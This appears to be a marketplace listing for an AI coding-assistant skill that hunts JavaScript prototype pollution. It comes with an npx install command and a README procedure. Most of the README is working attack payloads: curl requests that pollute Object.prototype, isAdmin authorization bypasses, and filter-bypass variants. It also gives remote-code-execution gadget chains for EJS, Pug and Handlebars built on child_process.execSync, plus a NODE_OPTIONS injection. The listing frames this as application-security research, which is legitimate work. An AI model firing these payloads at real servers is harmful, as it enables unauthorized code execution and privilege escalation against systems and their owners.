mcpField
H
hunt-prototype-pollution

hunt-prototype-pollution

github.com/uphiagoSecurity1.3k40 installsUpdated 8w ago
Repository

About hunt-prototype-pollution

hunt-prototype-pollution is a security testing skill for finding JavaScript prototype pollution, intended for application security researchers. It covers client-side and server-side vectors, verification, and possible chains to XSS, authorization bypass, or code execution.

Key features

  1. 01Probe client-side pollution vectors
  2. 02Test server-side object merges
  3. 03Check template and process gadgets
  4. 04Assess filter bypass methods
  5. 05Verify impact and exploitation chains

Use cases

  1. 01Testing JavaScript applications that merge user input
  2. 02Checking whether pollution reaches a template or process sink
  3. 03Verifying DOM XSS or authorization impact

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-prototype-pollution

After installing, type/hunt-prototype-pollutionin Claude Code to confirm it loaded.

Details

From the project README

Prototype Pollution Hunting

Hunt for prototype pollution vulnerabilities where user-supplied properties merge into Object.prototype, affecting all objects in the runtime. Client-side pollution enables DOM XSS, cookie manipulation, and auth bypass. Server-side pollution chains to RCE via gadget chains in template engines (EJS, Pug, Handlebars) and CLI wrappers (child_process, NODE_OPTIONS).

When to Use

  • Application uses JavaScript/Node.js with object merge, clone, or extend operations on user input.
  • jQuery $.extend(true, ...) or $.fn.merge() with deep copy on untrusted data.
  • Lodash _.merge(), _.defaultsDeep(), _.set() receiving request body/query params.
  • Template engines (EJS, Pug, Handlebars) in the same runtime as user-controlled objects.
  • Server-side Node.js with child_process.exec/spawn accessible via polluted options.

Quick Detection

# client-side: pollute via query param
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?__proto__[polluted]=true"

# server-side: pollute via JSON body
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/config" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'

Procedure

Phase 1 — Client-Side Pollution Vectors
# URL query string
https://target.com/?__proto__[test]=polluted
https://target.com/?constructor[prototype][test]=polluted

# JSON body in API
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"polluted":"yes"}}'

# Form-encoded
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/form" \
  -d '__proto__[polluted]=true'

# Via Object.assign / spread in request handlers
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/settings" \
  -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"isAdmin":true}}}'
Phase 2 — Server-Side RCE via Gadget Chains

EJS RCE (outputFunctionName):

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/render" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"outputFunctionName":"_tmp;global.process.mainModule.require(\"child_process\").execSync(\"id\");"}}'

Pug RCE (self.block):

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/preferences" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"block":{"type":"Text","line":"process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'

Handlebars RCE (compileFunction):

curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/profile" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"precompileOptions":{"knownHelpersOnly":false,"compat":true},"compileFunction":"return process.mainModule.require(\"child_process\").execSync(\"id\").toString();"}}'

NODE_OPTIONS injection:

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/task" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"NODE_OPTIONS":"--require /proc/self/environ","shell":"/bin/sh","env":{"NODE_DEBUG":"test"}}}'
Phase 3 — Filter Bypass Techniques
# Unicode normalization (e.g., ä → a)
https://target.com/?__proto__[test]=1         # blocked
https://target.com/?__pröto__[test]=1         # bypass (ä normalizes to a)

# constructor.prototype path
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -d '{"constructor":{"prototype":{"polluted":true}}}'

# Array pollution (lodash specific)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -d '{"__proto__":{"polluted":[]}}'  # forces array coercion

# ppfuzz — automated prototype pollution scanner
ppfuzz -u https://target.com/api/merge -m POST -H "Content-Type: application/json"
Phase 4 — Client-Side Exploitation
// Verify pollution in browser console
Object.prototype.polluted  // should return the injected value

// DOM XSS via polluted options
// If the app uses jQuery $.extend with polluted {url: "javascript:alert(1)"}

// Auth bypass: pollute isAdmin
// If the app checks if (user.isAdmin) without hasOwnProperty
Phase 5 — Second-Order Pollution
# Store pollution in database, triggered by background job
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/profile" \
  -H "Content-Type: application/json" \
  -d '{"name":{"__proto__":{"isAdmin":true}}}'

# Later, when an admin views the profile or a cron job processes it,
# the pollution triggers in that context

Pitfalls

  • Not every __proto__ in a request is a finding. Only report when the polluted property actually affects application behavior.
  • Node.js 12+ and newer lodash versions have partial mitigations. Test with older versions first.
  • Server-side pollution requires a gadget. Polluting random objects without reaching a sink (exec, eval, template) has no impact.
  • BlackFan's client-side prototype pollution catalog is the canonical reference — cross-check findings against it.

Verification

  1. Inject __proto__[test]=value and verify Object.prototype.test === value in browser console or server response.
  2. For RCE: confirm command execution produces output (id/whoami) in a visible sink.
  3. For XSS: verify the polluted property reaches innerHTML, eval, document.write, or a script src attribute.
  4. Document the exact merge/copy function and the polluted property chain.

Related Skills

  • hunt-nodejs — Node.js-specific vulnerabilities including prototype pollution in Express/Next.js.
  • hunt-xss — DOM XSS often exploitable through client-side prototype pollution.
  • hunt-api-misconfig — Object merge on request bodies without hasOwnProperty checks.

Comments

Markdown supported